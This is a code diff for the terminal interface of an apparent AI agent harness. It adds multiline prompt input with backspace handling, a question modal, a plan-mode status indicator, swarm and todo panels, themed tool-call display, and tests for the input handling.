'tokens' in t && t.tokens ? (t.tokens as Token[]) : [],
);
const bullet = l.ordered ? `${(Number(l.start) || 1) + i}. ` : '• ';
return (
<Box key={i} flexDirection="row">
<Text color={theme.colors.primary}>{bullet}</Text>
<Box flexGrow={1}>
<Text>
{inlineTokens.length > 0
? renderInline(inlineTokens, theme)
: item.text}
</Text>
</Box>
</Box>
);
})}
</Box>
);
}
case 'hr':
return (
<Box marginTop={1}>
<Text dimColor>{'─'.repeat(48)}</Text>
</Box>
);
case 'space':
return null;
case 'table': {
const t = token as Tokens.Table;
const headerTexts = t.header.map(getTableCellDisplayText);
const rowTexts = t.rows.map((row) => row.map(getTableCellDisplayText));
// Use stringWidth for correct CJK and wide-char column widths.
const colCount = t.header.length;
const colWidths: number[] = headerTexts.map((cellText) => stringWidth(cellText));
for (const row of rowTexts) {
for (let c = 0; c < colCount; c++) {
colWidths[c] = Math.max(colWidths[c] ?? 0, stringWidth(row[c] ?? ''));
}
}
const trailing = (cellText: string, c: number): string =>
' '.repeat(Math.max(0, (colWidths[c] ?? 0) - stringWidth(cellText)));
const top = '┌' + colWidths.map((w) => '─'.repeat(w + 2)).join('┬') + '┐';
const mid = '├' + colWidths.map((w) => '─'.repeat(w + 2)).join('┼') + '┤';
const bot = '└' + colWidths.map((w) => '─'.repeat(w + 2)).join('┴') + '┘';
return (
<Box flexDirection="column" marginTop={1} marginLeft={1}>
<Text color={theme.colors.muted}>{top}</Text>
<Text>
<Text color={theme.colors.muted}>{'│'}</Text>
{t.header.map((cell, c) => (
<React.Fragment key={c}>
<Text color={theme.colors.primary} bold>
{' '}{renderInline(cell.tokens, theme)}{trailing(headerTexts[c] ?? '', c)}{' '}
</Text>
<Text color={theme.colors.muted}>{'│'}</Text>
</React.Fragment>
))}
</Text>
<Text color={theme.colors.muted}>{mid}</Text>
{t.rows.map((row, i) => (
<Text key={i}>
<Text color={theme.colors.muted}>{'│'}</Text>
{row.map((cell, c) => (
<React.Fragment key={c}>
<Text>
{' '}{renderInline(cell.tokens, theme)}{trailing(rowTexts[i]?.[c] ?? '', c)}{' '}
</Text>
<Text color={theme.colors.muted}>{'│'}</Text>
</React.Fragment>
))}
</Text>
))}
<Text color={theme.colors.muted}>{bot}</Text>
</Box>
);
}
default:
if ((token as Token).raw) {
return <Text>{(token as Token).raw}</Text>;
}
return null;
}
}
export const MarkdownText = React.memo(function MarkdownText({content}: {content: string}): React.JSX.Element {
const {theme} = useTheme();
const tokens = React.useMemo(() => lexer(content), [content]);
return (
<Box flexDirection="column">
{renderBlocks(tokens, theme)}
</Box>
);
});
+94 -13
View File
@@ -1,8 +1,91 @@
import React from 'react';
import {Box, Text} from 'ink';
import React, {useEffect, useState} from 'react';
import {Box, Text, useInput} from 'ink';
import TextInput from 'ink-text-input';
export function ModalHost({
const WAIT_FRAMES = [
'Agent is waiting for your input ',
'Agent is waiting for your input. ',
'Agent is waiting for your input.. ',
'Agent is waiting for your input...',
];
function WaitingAnimation(): React.JSX.Element {
const [frame, setFrame] = useState(0);
useEffect(() => {
const timer = setInterval(() => setFrame((f) => (f + 1) % WAIT_FRAMES.length), 500);
return () => clearInterval(timer);
}, []);
return (
<Text color="magenta" dimColor>
{WAIT_FRAMES[frame]}
</Text>
);
}
function QuestionModal({
modal,
modalInput,
setModalInput,
onSubmit,
}: {
modal: Record<string, unknown>;
modalInput: string;
setModalInput: (value: string) => void;
onSubmit: (value: string) => void;
}): React.JSX.Element {
const [extraLines, setExtraLines] = useState<string[]>([]);
useInput((_chunk, key) => {
if (key.shift && key.return) {
setExtraLines((lines) => [...lines, modalInput]);
setModalInput('');
}
});
const handleSubmit = (value: string): void => {
const allLines = [...extraLines, value];
setExtraLines([]);
onSubmit(allLines.join('\n'));
};
const toolName = modal.tool_name ? String(modal.tool_name) : null;
const reason = modal.reason ? String(modal.reason) : null;
const question = String(modal.question ?? 'Question');
return (
<Box flexDirection="column" marginTop={1} borderStyle="double" borderColor="magenta" paddingX={1}>
<WaitingAnimation />
<Box marginTop={1}>
<Text color="magenta" bold>{'\u2753 '}</Text>
<Text bold>{question}</Text>
</Box>
{toolName ? (
<Text dimColor>
{' '}Tool: <Text color="cyan">{toolName}</Text>
</Text>
) : null}
{reason ? (
<Text dimColor>{' '}Reason: {reason}</Text>
) : null}
{extraLines.length > 0 && (
<Box flexDirection="column" marginTop={1} marginLeft={2}>
{extraLines.map((line, i) => (
<Text key={i} dimColor>
{line}
</Text>
))}
</Box>
)}
<Box marginTop={1}>
<Text color="cyan">{'> '}</Text>
<TextInput value={modalInput} onChange={setModalInput} onSubmit={handleSubmit} />
</Box>
<Text dimColor>{' '}shift+enter: newline | enter: submit</Text>
</Box>
);
}
function ModalHostInner({
modal,
modalInput,
setModalInput,
@@ -39,16 +122,12 @@ export function ModalHost({
}
if (modal?.kind === 'question') {
return (
<Box flexDirection="column" marginTop={1}>
<Text>
<Text color="magenta" bold>{'\u2753 '}</Text>
<Text bold>{String(modal.question ?? 'Question')}</Text>
</Text>
<Box>
<Text color="cyan">{'> '}</Text>
<TextInput value={modalInput} onChange={setModalInput} onSubmit={onSubmit} />
</Box>
</Box>
<QuestionModal
modal={modal}
modalInput={modalInput}
setModalInput={setModalInput}
onSubmit={onSubmit}
/>
);
}
if (modal?.kind === 'mcp_auth') {
@@ -68,3 +147,5 @@ export function ModalHost({
}
return null;
}
export const ModalHost = React.memo(ModalHostInner);
@@ -0,0 +1,16 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {getBackspaceDeleteCount} from './PromptInput.js';
test('counts repeated backspace control characters from a single input chunk', () => {
assert.equal(getBackspaceDeleteCount('\b\b\b'), 3);
assert.equal(getBackspaceDeleteCount('\u007f\u007f'), 2);
assert.equal(getBackspaceDeleteCount('\x7f\x7f\x7f'), 3);
});
test('falls back to a single delete for empty or unexpected input', () => {
assert.equal(getBackspaceDeleteCount(''), 1);
assert.equal(getBackspaceDeleteCount('abc'), 1);
assert.equal(getBackspaceDeleteCount('\bA'), 1);
});
@@ -0,0 +1,211 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {PassThrough} from 'node:stream';
import React, {useState} from 'react';
import {render} from 'ink';
import {ThemeProvider} from '../theme/ThemeContext.js';
import {PromptInput} from './PromptInput.js';
const nextLoopTurn = (): Promise<void> => new Promise((resolve) => setImmediate(resolve));
type InkTestStdout = PassThrough & {
isTTY: boolean;
columns: number;
rows: number;
cursorTo: () => boolean;
clearLine: () => boolean;
moveCursor: () => boolean;
};
type InkTestStdin = PassThrough & {
isTTY: boolean;
setRawMode: (_mode: boolean) => void;
resume: () => InkTestStdin;
pause: () => InkTestStdin;
ref: () => InkTestStdin;
unref: () => InkTestStdin;
};
function createTestStdout(): InkTestStdout {
return Object.assign(new PassThrough(), {
isTTY: true,
columns: 120,
rows: 40,
cursorTo: () => true,
clearLine: () => true,
moveCursor: () => true,
});
}
function createTestStdin(): InkTestStdin {
return Object.assign(new PassThrough(), {
isTTY: true,
setRawMode: () => undefined,
resume() {
return this;
},
pause() {
return this;
},
ref() {
return this;
},
unref() {
return this;
},
});
}
async function sendKey(stdin: InkTestStdin, chunk: string | Buffer): Promise<void> {
stdin.write(chunk);
await nextLoopTurn();
await nextLoopTurn();
}
async function waitForValue(getValue: () => string, expected: string): Promise<void> {
for (let i = 0; i < 50; i += 1) {
await nextLoopTurn();
if (getValue() === expected) {
return;
}
}
assert.equal(getValue(), expected);
}
function PromptHarness({
busy = false,
onInputChange,
onSubmit = () => undefined,
}: {
busy?: boolean;
onInputChange: (value: string) => void;
onSubmit?: (value: string) => void;
}): React.JSX.Element {
const [input, setInput] = useState('');
return (
<ThemeProvider initialTheme="default">
<PromptInput
busy={busy}
input={input}
setInput={(value) => {
onInputChange(value);
setInput(value);
}}
onSubmit={onSubmit}
/>
</ThemeProvider>
);
}
test('treats terminal DEL at end-of-line as backward delete', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
const instance = render(<PromptHarness onInputChange={(value) => {
currentValue = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
await sendKey(stdin, 'a');
await waitForValue(() => currentValue, 'a');
await sendKey(stdin, 'b');
await waitForValue(() => currentValue, 'ab');
await sendKey(stdin, Buffer.from([0x7f]));
await waitForValue(() => currentValue, 'a');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
test('keeps forward delete behavior when cursor is inside the line', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
const instance = render(<PromptHarness onInputChange={(value) => {
currentValue = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
await sendKey(stdin, 'a');
await waitForValue(() => currentValue, 'a');
await sendKey(stdin, 'b');
await waitForValue(() => currentValue, 'ab');
await sendKey(stdin, '\u001B[D');
await nextLoopTurn();
await sendKey(stdin, '\u001B[3~');
await waitForValue(() => currentValue, 'a');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
test('accepts explicit /stop submission while busy', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
let submitted = '';
const instance = render(<PromptHarness busy onInputChange={(value) => {
currentValue = value;
}} onSubmit={(value) => {
submitted = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
for (const char of '/stop') {
await sendKey(stdin, char);
}
await waitForValue(() => currentValue, '/stop');
await sendKey(stdin, '\r');
await waitForValue(() => submitted, '/stop');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
+206 -13
View File
@@ -1,10 +1,193 @@
import React from 'react';
import {Box, Text} from 'ink';
import TextInput from 'ink-text-input';
import React, {useEffect, useRef, useState} from 'react';
import {Box, Text, useInput, useStdin} from 'ink';
import chalk from 'chalk';
import {useTheme} from '../theme/ThemeContext.js';
import {Spinner} from './Spinner.js';
const noop = (): void => {};
const BACKSPACE_CONTROL_PATTERN = /^[\b\u007f]+$/;
export function getBackspaceDeleteCount(sequence: string): number {
if (!sequence || !BACKSPACE_CONTROL_PATTERN.test(sequence)) {
return 1;
}
return [...sequence].length;
}
function MultilineTextInput({
value,
onChange,
onSubmit,
focus = true,
promptPrefix,
promptColor,
}: {
value: string;
onChange: (value: string) => void;
onSubmit?: (value: string) => void;
focus?: boolean;
promptPrefix: string;
promptColor: string;
}): React.JSX.Element {
const [cursorOffset, setCursorOffset] = useState(value.length);
const {internal_eventEmitter} = useStdin();
const lastSequenceRef = useRef('');
// Tracks the last value this component produced via onChange. If the
// incoming `value` prop diverges from this, the change came from outside
// (tab completion, history recall, programmatic clear) and we should
// move the cursor to the end — otherwise the cursor stays wherever the
// user had it, which puts subsequent keystrokes in the middle of the
// newly-completed text. See HKUDS/OpenHarness#183.
const lastInternalValueRef = useRef<string>(value);
useEffect(() => {
if (value === lastInternalValueRef.current) {
// Self-authored update; cursor was already positioned by the
// handler that called onChange.
return;
}
lastInternalValueRef.current = value;
setCursorOffset(value.length);
}, [value]);
const commitValue = (nextValue: string): void => {
lastInternalValueRef.current = nextValue;
onChange(nextValue);
};
useEffect(() => {
if (!focus) {
return;
}
const handleRawInput = (chunk: string | Buffer): void => {
lastSequenceRef.current = Buffer.isBuffer(chunk) ? chunk.toString('utf8') : String(chunk);
};
internal_eventEmitter.on('input', handleRawInput);
return () => {
internal_eventEmitter.removeListener('input', handleRawInput);
};
}, [focus, internal_eventEmitter]);
useInput(
(input, key) => {
if (!focus) {
return;
}
if (key.upArrow || key.downArrow || key.tab || (key.shift && key.tab) || key.escape || (key.ctrl && input === 'c')) {
return;
}
if (key.return) {
if (key.shift) {
const nextValue = value.slice(0, cursorOffset) + '\n' + value.slice(cursorOffset);
setCursorOffset(cursorOffset + 1);
commitValue(nextValue);
return;
}
onSubmit?.(value);
return;
}
if (key.leftArrow) {
setCursorOffset((previous) => Math.max(0, previous - 1));
return;
}
if (key.rightArrow) {
setCursorOffset((previous) => Math.min(value.length, previous + 1));
return;
}
if (key.backspace) {
if (cursorOffset === 0) {
return;
}
const deleteCount = Math.min(cursorOffset, getBackspaceDeleteCount(lastSequenceRef.current || input));
const nextValue = value.slice(0, cursorOffset - deleteCount) + value.slice(cursorOffset);
setCursorOffset(cursorOffset - deleteCount);
commitValue(nextValue);
return;
}
if (key.delete) {
// Ink reports the common DEL byte (`0x7f`) as `delete`, even though
// many terminals emit it for the Backspace key. Use the raw sequence
// to distinguish that case from a true forward-delete escape sequence.
if (
lastSequenceRef.current === '\x7f' ||
lastSequenceRef.current === '\x1b\x7f' ||
BACKSPACE_CONTROL_PATTERN.test(lastSequenceRef.current)
) {
if (cursorOffset === 0) {
return;
}
const deleteCount = Math.min(cursorOffset, getBackspaceDeleteCount(lastSequenceRef.current));
const nextValue = value.slice(0, cursorOffset - deleteCount) + value.slice(cursorOffset);
setCursorOffset(cursorOffset - deleteCount);
commitValue(nextValue);
return;
}
if (cursorOffset >= value.length) {
return;
}
const nextValue = value.slice(0, cursorOffset) + value.slice(cursorOffset + 1);
commitValue(nextValue);
return;
}
if (!input) {
return;
}
const nextValue = value.slice(0, cursorOffset) + input + value.slice(cursorOffset);
setCursorOffset(cursorOffset + input.length);
commitValue(nextValue);
},
{isActive: focus},
);
let renderedValue = value;
if (focus) {
if (value.length === 0) {
renderedValue = chalk.inverse(' ');
} else {
renderedValue = '';
let index = 0;
for (const char of value) {
if (index === cursorOffset) {
renderedValue += chalk.inverse(char === '\n' ? ' ' : char);
} else {
renderedValue += char;
}
index += 1;
}
if (cursorOffset === value.length) {
renderedValue += chalk.inverse(' ');
}
}
}
const lines = renderedValue.split('\n');
const indent = ' '.repeat(promptPrefix.length);
return (
<Box flexDirection="column">
{lines.map((line, index) => (
<Box key={`${index}:${line}`}>
<Text color={promptColor} bold>
{index === 0 ? promptPrefix : indent}
</Text>
<Text>{line.length > 0 ? line : ' '}</Text>
</Box>
))}
</Box>
);
}
export function PromptInput({
busy,
@@ -13,6 +196,7 @@ export function PromptInput({
onSubmit,
toolName,
suppressSubmit,
statusLabel,
}: {
busy: boolean;
input: string;
@@ -20,19 +204,28 @@ export function PromptInput({
onSubmit: (value: string) => void;
toolName?: string;
suppressSubmit?: boolean;
statusLabel?: string;
}): React.JSX.Element {
if (busy) {
return (
<Box>
<Spinner label={toolName ? `Running ${toolName}...` : undefined} />
</Box>
);
}
const {theme} = useTheme();
const promptPrefix = busy ? '… ' : '> ';
return (
<Box>
<Text color="cyan" bold>{'> '}</Text>
<TextInput value={input} onChange={setInput} onSubmit={suppressSubmit ? noop : onSubmit} />
<Box flexDirection="column">
{busy ? (
<Box flexDirection="column" marginBottom={0}>
<Box>
<Spinner label={statusLabel ?? (toolName ? `Running ${toolName}...` : 'Running...')} />
</Box>
</Box>
) : null}
<MultilineTextInput
value={input}
onChange={setInput}
onSubmit={suppressSubmit ? noop : onSubmit}
focus
promptPrefix={promptPrefix}
promptColor={theme.colors.primary}
/>
</Box>
);
}
+10 -5
View File
@@ -1,7 +1,8 @@
import React, {useEffect, useState} from 'react';
import {Text} from 'ink';
const FRAMES = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏'];
import {useTheme} from '../theme/ThemeContext.js';
const VERBS = [
'Thinking',
'Processing',
@@ -13,16 +14,20 @@ const VERBS = [
'Considering',
];
const WINDOWS_SAFE_FRAMES = ['-', '\\', '|', '/'];
export function Spinner({label}: {label?: string}): React.JSX.Element {
const {theme} = useTheme();
const frames = process.platform === 'win32' ? WINDOWS_SAFE_FRAMES : theme.icons.spinner;
const [frame, setFrame] = useState(0);
const [verbIndex, setVerbIndex] = useState(0);
useEffect(() => {
const timer = setInterval(() => {
setFrame((f) => (f + 1) % FRAMES.length);
}, 80);
setFrame((f) => (f + 1) % frames.length);
}, 100);
return () => clearInterval(timer);
}, []);
}, [frames.length]);
useEffect(() => {
const timer = setInterval(() => {
@@ -35,7 +40,7 @@ export function Spinner({label}: {label?: string}): React.JSX.Element {
return (
<Text>
<Text color="cyan">{FRAMES[frame]}</Text>
<Text color={theme.colors.primary}>{frames[frame]}</Text>
<Text dimColor> {verb}</Text>
</Text>
);
+71 -5
View File
@@ -1,24 +1,83 @@
import React from 'react';
import React, {useEffect, useState} from 'react';
import {Box, Text} from 'ink';
import {useTheme} from '../theme/ThemeContext.js';
import type {TaskSnapshot} from '../types.js';
const SEP = ' \u2502 ';
export function StatusBar({status, tasks}: {status: Record<string, unknown>; tasks: TaskSnapshot[]}): React.JSX.Element {
const WRITE_TOOLS = new Set([
'Write', 'Edit', 'MultiEdit', 'NotebookEdit',
'Bash', 'computer', 'str_replace_editor',
]);
function PlanModeIndicator({
mode,
activeToolName,
}: {
mode: string;
activeToolName?: string;
}): React.JSX.Element | null {
const [flash, setFlash] = useState(false);
const [prevMode, setPrevMode] = useState(mode);
useEffect(() => {
if (prevMode === 'plan' && mode !== 'plan' && prevMode !== mode) {
setFlash(true);
const timer = setTimeout(() => setFlash(false), 800);
setPrevMode(mode);
return () => clearTimeout(timer);
}
setPrevMode(mode);
}, [mode]);
if (mode !== 'plan' && mode !== 'Plan Mode') {
if (flash) {
return (
<Text color="green" bold>
{' PLAN MODE OFF '}
</Text>
);
}
return null;
}
const isBlockedTool = activeToolName != null && WRITE_TOOLS.has(activeToolName);
return (
<Text>
<Text color="yellow" bold>{' [PLAN MODE] '}</Text>
{isBlockedTool ? (
<Text color="red">{'\uD83D\uDEAB '}{activeToolName} blocked</Text>
) : null}
</Text>
);
}
function StatusBarInner({
status,
tasks,
activeToolName,
}: {
status: Record<string, unknown>;
tasks: TaskSnapshot[];
activeToolName?: string;
}): React.JSX.Element {
const {theme} = useTheme();
const model = String(status.model ?? 'unknown');
const mode = String(status.permission_mode ?? 'default');
const taskCount = tasks.length;
const mcpCount = Number(status.mcp_connected ?? 0);
const inputTokens = Number(status.input_tokens ?? 0);
const outputTokens = Number(status.output_tokens ?? 0);
const isPlanMode = mode === 'plan' || mode === 'Plan Mode';
return (
<Box flexDirection="column">
<Text dimColor>{'─'.repeat(60)}</Text>
<Box flexDirection="row">
<Box flexDirection="row" alignItems="center">
<Text>
<Text color="cyan" dimColor>model: {model}</Text>
<Text color={theme.colors.primary} dimColor>model: {model}</Text>
<Text dimColor>{SEP}</Text>
{inputTokens > 0 || outputTokens > 0 ? (
<>
@@ -26,7 +85,9 @@ export function StatusBar({status, tasks}: {status: Record<string, unknown>; tas
<Text dimColor>{SEP}</Text>
</>
) : null}
<Text dimColor>mode: {mode}</Text>
{!isPlanMode ? (
<Text dimColor>mode: {mode}</Text>
) : null}
{taskCount > 0 ? (
<>
<Text dimColor>{SEP}</Text>
@@ -40,11 +101,16 @@ export function StatusBar({status, tasks}: {status: Record<string, unknown>; tas
</>
) : null}
</Text>
{isPlanMode ? (
<PlanModeIndicator mode={mode} activeToolName={activeToolName} />
) : null}
</Box>
</Box>
);
}
export const StatusBar = React.memo(StatusBarInner);
function formatNum(n: number): string {
if (n >= 1000) {
return `${(n / 1000).toFixed(1)}k`;
@@ -0,0 +1,127 @@
import React, {useState} from 'react';
import {Box, Text, useInput} from 'ink';
export type SwarmTeammate = {
name: string;
status: 'running' | 'idle' | 'done' | 'error';
duration?: number; // seconds
task?: string;
};
export type SwarmNotification = {
from: string;
message: string;
timestamp: number;
};
function statusIcon(status: SwarmTeammate['status']): string {
switch (status) {
case 'running':
return '🟢';
case 'idle':
return '🟡';
case 'done':
return '✅';
case 'error':
return '🔴';
}
}
function formatDuration(seconds: number): string {
if (seconds < 60) {
return `${seconds}s`;
}
const m = Math.floor(seconds / 60);
const s = seconds % 60;
return `${m}m${s}s`;
}
function SwarmPanelInner({
teammates,
notifications,
collapsed: initialCollapsed = false,
}: {
teammates: SwarmTeammate[];
notifications: SwarmNotification[];
collapsed?: boolean;
}): React.JSX.Element | null {
const [collapsed, setCollapsed] = useState(initialCollapsed);
useInput((chunk, key) => {
if (key.ctrl && chunk === 'w') {
setCollapsed((c) => !c);
}
});
if (teammates.length === 0 && notifications.length === 0) {
return null;
}
const activeCount = teammates.filter((t) => t.status === 'running').length;
if (collapsed) {
return (
<Box>
<Text color="cyan" bold>
{'⚡ '}
</Text>
<Text dimColor>
Swarm: {teammates.length} agents ({activeCount} active)
</Text>
<Text dimColor> [ctrl+w expand]</Text>
</Box>
);
}
return (
<Box flexDirection="column" borderStyle="round" borderColor="cyan" paddingX={1} marginTop={1}>
<Box>
<Text color="cyan" bold>
{'⚡ '}
</Text>
<Text bold>Swarm</Text>
<Text dimColor>
{' '}
({activeCount}/{teammates.length} active) [ctrl+w collapse]
</Text>
</Box>
{teammates.length > 0 && (
<Box flexDirection="column" marginTop={1}>
{teammates.map((teammate) => (
<Box key={teammate.name} flexDirection="row" marginBottom={0}>
<Text>{statusIcon(teammate.status)} </Text>
<Box flexDirection="column">
<Box>
<Text bold color={teammate.status === 'running' ? 'green' : teammate.status === 'error' ? 'red' : undefined}>
{teammate.name}
</Text>
{teammate.duration !== undefined && (
<Text dimColor> ({formatDuration(teammate.duration)})</Text>
)}
</Box>
{teammate.task && (
<Text dimColor> {teammate.task.slice(0, 60)}{teammate.task.length > 60 ? '…' : ''}</Text>
)}
</Box>
</Box>
))}
</Box>
)}
{notifications.length > 0 && (
<Box flexDirection="column" marginTop={1}>
<Text dimColor bold>Recent notifications:</Text>
{notifications.slice(-3).map((n, i) => (
<Box key={i}>
<Text dimColor>[{n.from}] </Text>
<Text>{n.message.slice(0, 70)}{n.message.length > 70 ? '…' : ''}</Text>
</Box>
))}
</Box>
)}
</Box>
);
}
export const SwarmPanel = React.memo(SwarmPanelInner);
@@ -0,0 +1,91 @@
import React, {useState} from 'react';
import {Box, Text, useInput} from 'ink';
export type TodoItem = {
text: string;
checked: boolean;
};
function parseTodoItems(markdown: string): TodoItem[] {
const lines = markdown.split('\n');
const items: TodoItem[] = [];
for (const line of lines) {
const m = line.match(/^\s*-\s+\[([ xX])\]\s+(.+)/);
if (m) {
items.push({checked: m[1].toLowerCase() === 'x', text: m[2].trim()});
}
}
return items;
}
function TodoPanelInner({
markdown,
compact: initialCompact = false,
}: {
markdown: string;
compact?: boolean;
}): React.JSX.Element | null {
const [compact, setCompact] = useState(initialCompact);
const items = parseTodoItems(markdown);
useInput((chunk, key) => {
if (key.ctrl && chunk === 't') {
setCompact((c) => !c);
}
});
if (items.length === 0) {
return null;
}
const done = items.filter((i) => i.checked).length;
const total = items.length;
if (compact) {
return (
<Box>
<Text color="yellow" bold>
{'☑ '}
</Text>
<Text dimColor>
Todos: {done}/{total} done
</Text>
<Text dimColor> [ctrl+t expand]</Text>
</Box>
);
}
return (
<Box flexDirection="column" borderStyle="round" borderColor="yellow" paddingX={1} marginTop={1}>
<Box>
<Text color="yellow" bold>
{'☑ '}
</Text>
<Text bold>
Todo List{' '}
</Text>
<Text dimColor>
({done}/{total})
</Text>
<Text dimColor> [ctrl+t compact]</Text>
</Box>
{items.map((item, i) => (
<Box key={i}>
<Text color={item.checked ? 'green' : 'white'}>
{item.checked ? ' ☑ ' : ' ☐ '}
</Text>
<Text
color={item.checked ? 'green' : undefined}
dimColor={item.checked}
>
{item.text}
</Text>
</Box>
))}
</Box>
);
}
export const TodoPanel = React.memo(TodoPanelInner);
export {parseTodoItems};
@@ -1,34 +1,110 @@
import React from 'react';
import {Box, Text} from 'ink';
import {useTheme} from '../theme/ThemeContext.js';
import type {TranscriptItem} from '../types.js';
export function ToolCallDisplay({item}: {item: TranscriptItem}): React.JSX.Element {
export function ToolCallDisplay({
item,
resultItem,
outputStyle,
}: {
item: TranscriptItem;
resultItem?: TranscriptItem;
outputStyle?: string;
}): React.JSX.Element {
const {theme} = useTheme();
const isCodexStyle = outputStyle === 'codex';
if (item.role === 'tool') {
const toolName = item.tool_name ?? 'tool';
const summary = summarizeInput(toolName, item.tool_input, item.text);
const summary = summarizeInput(toolName, item.tool_input, item.text).replace(/\s+/g, ' ').trim();
let statusNode: React.ReactNode = null;
let errorLines: string[] | null = null;
if (resultItem) {
if (resultItem.is_error) {
statusNode = isCodexStyle
? <Text color={theme.colors.error}> error</Text>
: <Text color={theme.colors.error}> {theme.icons.error.trim()}</Text>;
const lines = resultItem.text.split('\n').filter((l) => l.trim());
const maxErrLines = isCodexStyle ? 8 : 5;
errorLines = lines.length > maxErrLines
? [...lines.slice(0, maxErrLines), `... (${lines.length - maxErrLines} more lines)`]
: lines;
} else if (!isCodexStyle) {
const lineCount = resultItem.text.split('\n').filter((l) => l.trim()).length;
const resultLabel = lineCount > 0 ? `${lineCount}L` : theme.icons.success.trim();
statusNode = <Text dimColor> {resultLabel}</Text>;
} else {
const lineCount = resultItem.text.split('\n').filter((l) => l.trim()).length;
statusNode = <Text dimColor>{lineCount > 0 ? ` ${lineCount}L` : ''}</Text>;
}
}
if (isCodexStyle) {
return (
<Box marginLeft={0} flexDirection="column">
<Text dimColor>{`• Ran ${toolName}${summary ? ` ${summary}` : ''}`}{statusNode}</Text>
{errorLines?.map((line, i) => {
const prefix = i === errorLines.length - 1 ? '└ ' : '│ ';
return (
<Text key={i} color={theme.colors.error}>
{prefix}
{line}
</Text>
);
})}
</Box>
);
}
return (
<Box marginLeft={2} flexDirection="column">
<Text>
<Text color="cyan" bold>{' \u23F5 '}</Text>
<Text color="cyan" bold>{toolName}</Text>
<Text color={theme.colors.accent} bold>{theme.icons.tool}</Text>
<Text color={theme.colors.accent} bold>{toolName}</Text>
<Text dimColor> {summary}</Text>
{statusNode}
</Text>
{errorLines?.map((line, i) => (
<Box key={i} marginLeft={4}>
<Text color={theme.colors.error}>{line}</Text>
</Box>
))}
</Box>
);
}
if (item.role === 'tool_result') {
const lines = item.text.split('\n');
const maxLines = 12;
if (!item.is_error) {
return <></>;
}
const lines = item.text.length > 0
? item.text.split('\n').filter((l) => l.trim())
: [''];
const maxLines = isCodexStyle ? 8 : 5;
const display = lines.length > maxLines ? [...lines.slice(0, maxLines), `... (${lines.length - maxLines} more lines)`] : lines;
const color = item.is_error ? 'red' : undefined;
if (isCodexStyle) {
return (
<Box marginLeft={0} flexDirection="column">
{display.map((line, i) => {
const prefix = i === display.length - 1 ? '└ ' : '│ ';
return (
<Text key={i} color={theme.colors.error}>
{prefix}
{line}
</Text>
);
})}
</Box>
);
}
return (
<Box marginLeft={4} flexDirection="column">
{display.map((line, i) => (
<Text key={i} color={color} dimColor={!item.is_error}>
{line}
</Text>
<Text key={i} color={theme.colors.error}>{line}</Text>
))}
</Box>
);
@@ -63,7 +139,6 @@ function summarizeInput(toolName: string, toolInput?: Record<string, unknown>, f
if (lower === 'agent' && toolInput.description) {
return String(toolInput.description);
}
// Fallback: show first key=value
const entries = Object.entries(toolInput);
if (entries.length > 0) {
const [key, val] = entries[0];
@@ -1,6 +1,8 @@
import React from 'react';
import {Box, Text} from 'ink';
import {useTheme} from '../theme/ThemeContext.js';
const VERSION = '0.1.0';
// prettier-ignore
@@ -14,11 +16,13 @@ const LOGO = [
];
export function WelcomeBanner(): React.JSX.Element {
const {theme} = useTheme();
return (
<Box flexDirection="column" marginBottom={1}>
<Box flexDirection="column" paddingX={0}>
{LOGO.map((line, i) => (
<Text key={i} color="cyan" bold>{line}</Text>
<Text key={i} color={theme.colors.primary} bold>{line}</Text>
))}
<Text> </Text>
<Text>
@@ -28,13 +32,13 @@ export function WelcomeBanner(): React.JSX.Element {
<Text> </Text>
<Text>
<Text dimColor> </Text>
<Text color="cyan">/help</Text>
<Text color={theme.colors.primary}>/help</Text>
<Text dimColor> commands</Text>
<Text dimColor>{' '}|{' '}</Text>
<Text color="cyan">/model</Text>
<Text color={theme.colors.primary}>/model</Text>
<Text dimColor> switch</Text>
<Text dimColor>{' '}|{' '}</Text>
<Text color="cyan">Ctrl+C</Text>
<Text color={theme.colors.primary}>Ctrl+C</Text>
<Text dimColor> exit</Text>
</Text>
</Box>
+317 -26
View File
@@ -1,4 +1,4 @@
import {useEffect, useMemo, useRef, useState} from 'react';
import {startTransition, useEffect, useMemo, useRef, useState} from 'react';
import {spawn, type ChildProcessWithoutNullStreams} from 'node:child_process';
import readline from 'node:readline';
@@ -8,11 +8,18 @@ import type {
FrontendConfig,
McpServerSnapshot,
SelectOptionPayload,
SwarmNotificationSnapshot,
SwarmTeammateSnapshot,
TaskSnapshot,
TranscriptItem,
} from '../types.js';
const PROTOCOL_PREFIX = 'OHJSON:';
const ASSISTANT_DELTA_FLUSH_MS = 50;
const ASSISTANT_DELTA_FLUSH_CHARS = 384;
const TRANSCRIPT_EVENT_FLUSH_MS = 50;
const stableStringify = (value: unknown): string => JSON.stringify(value);
export function useBackendSession(config: FrontendConfig, onExit: (code?: number | null) => void) {
const [transcript, setTranscript] = useState<TranscriptItem[]>([]);
@@ -23,10 +30,79 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
const [mcpServers, setMcpServers] = useState<McpServerSnapshot[]>([]);
const [bridgeSessions, setBridgeSessions] = useState<BridgeSessionSnapshot[]>([]);
const [modal, setModal] = useState<Record<string, unknown> | null>(null);
const [selectRequest, setSelectRequest] = useState<{title: string; submitPrefix: string; options: SelectOptionPayload[]} | null>(null);
